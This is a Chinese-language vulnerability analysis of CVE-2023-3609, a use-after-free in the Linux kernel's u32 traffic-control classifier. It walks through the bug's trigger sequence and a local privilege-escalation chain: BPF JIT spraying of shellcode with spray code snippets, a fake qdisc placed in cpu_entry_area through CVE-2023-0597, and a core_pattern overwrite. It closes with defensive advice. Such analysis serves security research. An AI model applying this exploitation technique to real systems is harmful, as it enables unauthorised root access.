CVE-2023-3609 Linux 内核 UAF 漏洞分析与漏洞利用
字数 2016 2025-08-24 07:48:33
Linux内核CVE-2023-3609漏洞分析与利用技术详解
漏洞概述
CVE-2023-3609是Linux内核中的一个Use-After-Free(UAF)漏洞,存在于流量控制(traffic control)子系统的u32分类器实现中。该漏洞允许本地攻击者提升权限,从普通用户权限提升到root权限。
漏洞核心问题:u32_set_parms函数在异常unbind class时会减少cl的引用计数,导致其会在被引用的时候被释放。
漏洞分析
漏洞代码分析
漏洞位于net/sched/cls_u32.c文件中的u32_set_parms函数:
static int u32_set_parms(struct net *net, struct tcf_proto *tp, unsigned long base,
struct tc_u_knode *n, struct nlattr **tb,
struct nlattr *est, u32 flags, u32 fl_flags,
struct netlink_ext_ack *extack)
{
if (tb[TCA_U32_LINK]) {
u32 handle = nla_get_u32(tb[TCA_U32_LINK]);
struct tc_u_hnode *ht_down = NULL, *ht_old;
if (handle) {
ht_down = u32_lookup_ht(tp->data, handle);
ht_down->refcnt++; // [1] 增加ht_down->refcnt
}
ht_old = rtnl_dereference(n->ht_down);
rcu_assign_pointer(n->ht_down, ht_down);
if (ht_old)
ht_old->refcnt--;
}
if (tb[TCA_U32_CLASSID]) {
n->res.classid = nla_get_u32(tb[TCA_U32_CLASSID]);
tcf_bind_filter(tp, &n->res, base); // [2] bind class到n->res
}
if (tb[TCA_U32_INDEV]) {
int ret;
ret = tcf_change_indev(net, tb[TCA_U32_INDEV], extack);
if (ret < 0)
return -EINVAL;
n->ifindex = ret;
}
return 0;
}
漏洞触发流程
- 通过
u32_change新建节点n,然后进入u32_set_parms会引用cl并增加引用计数 - 再次进入
u32_change传入handle引用上一步创建的n,会新分配new->res = n->res - 让
u32_set_parms异常,其中在bind的时候会减少cl的引用计数为0 - 通过
drr_destroy_class释放cl,由于引用计数为0可以被释放 - 此时
ht还保存引用了cl的n
详细利用步骤
- 分配一个
drr_class(C1),此时drr_class->filter_cnt为0 - 通过
u32_change的代码[2]分支,新建一个tc_u_knode(N1)引用C1,此时C1->filter_cnt为1,N1会被放到tp->root->ht[0]中 - 通过
u32_change的代码[1]分支,此时n = N1,代码会分配new->res = n->res = N1->res - 进入
u32_set_parms后会先tcf_bind_filter-->__tcf_bind_filter,由于此时n->res.class有值(C1),所以会unbind_tcf该class - unbind后C1->filter_cnt = 0
- 然后通过传入错误的参数让
tcf_change_indev失败,函数返回错误码 u32_change也会由于u32_set_parms的出错直接return返回- 使用
tc_ctl_tclass释放C1,由于C1->filter_cnt = 0会被正常释放 - 通过发包进入
drr_enqueue函数首先通过tcf_classify-->u32_classify在tp->root->ht[0]中找到N1 - 然后会使用N1->res.class指针(C1),而此时C1已经被释放
漏洞利用技术
利用点分析
利用点在drr_enqueue函数:
static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
struct sk_buff **to_free)
{
unsigned int len = qdisc_pkt_len(skb);
struct drr_sched *q = qdisc_priv(sch);
cl = drr_classify(skb, sch, &err);
first = !cl->qdisc->q.qlen;
err = qdisc_enqueue(skb, cl->qdisc, to_free);
return err;
}
qdisc_enqueue里面会调用cl->qdisc->enqueue,可以通过控制cl的内容实现代码执行。
利用技术详解
-
堆喷shellcode:
- 使用eBPF指令在内核中布置shellcode
- 通过
setsockopt分配bpf指令:struct sock_fprog prog = { .len = TSIZE, .filter = filter, }; for(int i=0;i<NUM;i++){ int fd[2]; SYSCHK(socketpair(AF_UNIX,SOCK_DGRAM,0,fd)); SYSCHK(setsockopt(fd[0],SOL_SOCKET,26,&prog,sizeof(prog))); } - 使用特殊的BPF指令构造nop sled和shellcode:
struct sock_filter table[] = { {.code = BPF_LD + BPF_K, .k = 0xb3909090}, {.code = BPF_LD + BPF_K, .k = 0xb3909090} }; - JIT编译后的指令会被解析为:
90 nop b3 b8 mov bl, 0xb8 90 nop 90 nop 90 nop b3 b8 mov bl, 0xb8
-
控制RIP:
- 通过跳转到JIT代码中间位置执行shellcode
- 堆喷大量"nop指令"+shellcode,使0xffffffffcc000800指向nop指令中间
- 跳转过去就能执行到shellcode
-
在内核固定地址伪造qdisc:
- 利用CVE-2023-0597在cpu_entry_area处布置数据伪造
cl->qdisc->enqueue - 使用如下汇编代码触发异常:
foo: mov rsp,rdi pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx pop r11 pop r10 pop r9 pop r8 pop rax pop rcx pop rdx pop rsi pop rdi div qword [0x1234000] ; trigger div 0 exception - 用户态触发异常,内核会把用户态寄存器的值放到cpu_entry_area区域
- 劫持
cl->qdisc到cpu_entry_area,控制cl->qdisc->enqueue = 0xffffffffcc000800
- 利用CVE-2023-0597在cpu_entry_area处布置数据伪造
-
shellcode功能:
- 通过
rdmsr指令获取内核地址 - 利用
copy_from_user修改core_pattern - 用户态触发
core_pattern实现提权
- 通过
防御措施
- 及时更新内核,应用官方补丁
- 启用内核地址空间布局随机化(KASLR)
- 限制普通用户使用eBPF的能力
- 启用SMAP/SMEP保护
- 使用漏洞防护机制如PAN, KPTI等
总结
CVE-2023-3609漏洞展示了Linux内核中引用计数管理不当可能导致的安全问题。该漏洞利用结合了多种高级技术:
- 利用eBPF指令在内核中布置shellcode
- 通过JIT代码中间跳转绕过地址随机化
- 利用其他漏洞(CVE-2023-0597)在内核固定地址布置数据
- 精心构造的引用计数操作实现UAF
这种复杂的利用链展示了现代内核漏洞利用的高度技术性,也强调了全面防御策略的重要性。